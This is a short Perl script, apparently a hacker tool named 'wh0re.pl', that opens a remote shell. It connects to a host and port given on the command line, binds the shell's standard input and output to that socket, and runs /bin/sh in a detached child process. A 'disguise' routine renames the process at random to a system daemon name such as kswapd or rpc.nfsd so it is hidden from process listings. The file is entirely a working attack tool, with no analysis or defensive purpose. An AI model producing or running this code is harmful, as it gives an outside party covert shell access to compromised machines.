#!/usr/bin/perl
             
## m0o
## By: magikh0e

use Socket;

&disguise;

print "\n\t-  wh0re  -\t\n" if $verbose;

if (!$ARGV[0]) { 
printf "Usage: wh0re.pl [Host] <Port> -v\n\n";
                 exit(1);                          }

print "[*] Dumping Arguments\n" if $verbose;
$host = $ARGV[0];
$port = 80;
$verbose = $ARGV[2];

if ($ARGV[1]) { $port = $ARGV[1]; }

print "[*] Connecting...\n" if $verbose;

$proto = getprotobyname('tcp') || die("[-] Unknown Protocol\n");

socket(PIMP, PF_INET, SOCK_STREAM, $proto) || 
      die ("[-] Socket Error: $!\n");


my $h0e = inet_aton($host);
if (!connect(PIMP, pack "SnA4x8", 2, $port, $h0e)) { 
     die("[-] Unable to Connect: $!\n");   }

 print "[*] Spawning Shell\n" if $verbose;


 if (!fork( )) {
    open(STDIN,">&PIMP");
    open(STDOUT,">&PIMP");
    open(STDERR,">&PIMP");
    exec {'/bin/sh'} '-bash' . "\0" x 4;
    exit(0);       }

 print "[*] Detached\n\n" if $verbose;


sub disguise {

 @psnames = ('vi','nfsiod','kflushd','kswapd','update','lpd','/usr/sbin/rpc.mountd','/usr/sbin/rpc.nfsd');
  srand(time ^ $$);
      $randum = int(rand(9));
      $0 = $psnames[$randum];   

}